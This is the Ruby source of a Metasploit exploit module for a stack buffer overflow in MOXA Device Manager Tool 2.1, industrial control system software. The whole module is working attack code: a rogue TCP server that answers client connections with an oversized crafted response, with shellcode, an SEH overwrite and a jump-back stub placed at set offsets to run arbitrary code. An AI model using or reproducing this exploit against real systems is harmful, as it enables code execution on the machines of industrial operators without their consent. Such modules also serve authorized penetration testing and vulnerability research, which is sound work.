MOXA Device Manager Tool 2.1 Buffer Overflow

`##  
# $Id: moxa_mdmtool.rb 10940 2010-11-07 14:58:55Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in MOXA MDM Tool 2.1.  
When sending a specially crafted MDMGw (MDM2_Gateway) response, an  
attacker may be able to execute arbitrary code.  
},  
'Author' => [ 'Ruben Santamarta', 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10940 $',  
'References' =>   
[  
[ 'OSVDB', '69027'],  
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],  
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-Alert-10-293-02.pdf' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'InitialAutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 20 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])  
], self.class)  
end  
  
def on_client_connect(client)  
  
return if ((p = regenerate_payload(client)) == nil)  
  
client.get_once  
  
sploit = rand_text_alpha_upper(18024)  
  
sploit[0, 4] = [0x29001028].pack('V')  
sploit[472, payload.encoded.length] = payload.encoded  
sploit[1072, 8] = generate_seh_record(target.ret)  
sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string  
  
client.put(sploit)  
  
handler(client)  
  
service.close_client(client)  
  
end  
end  
`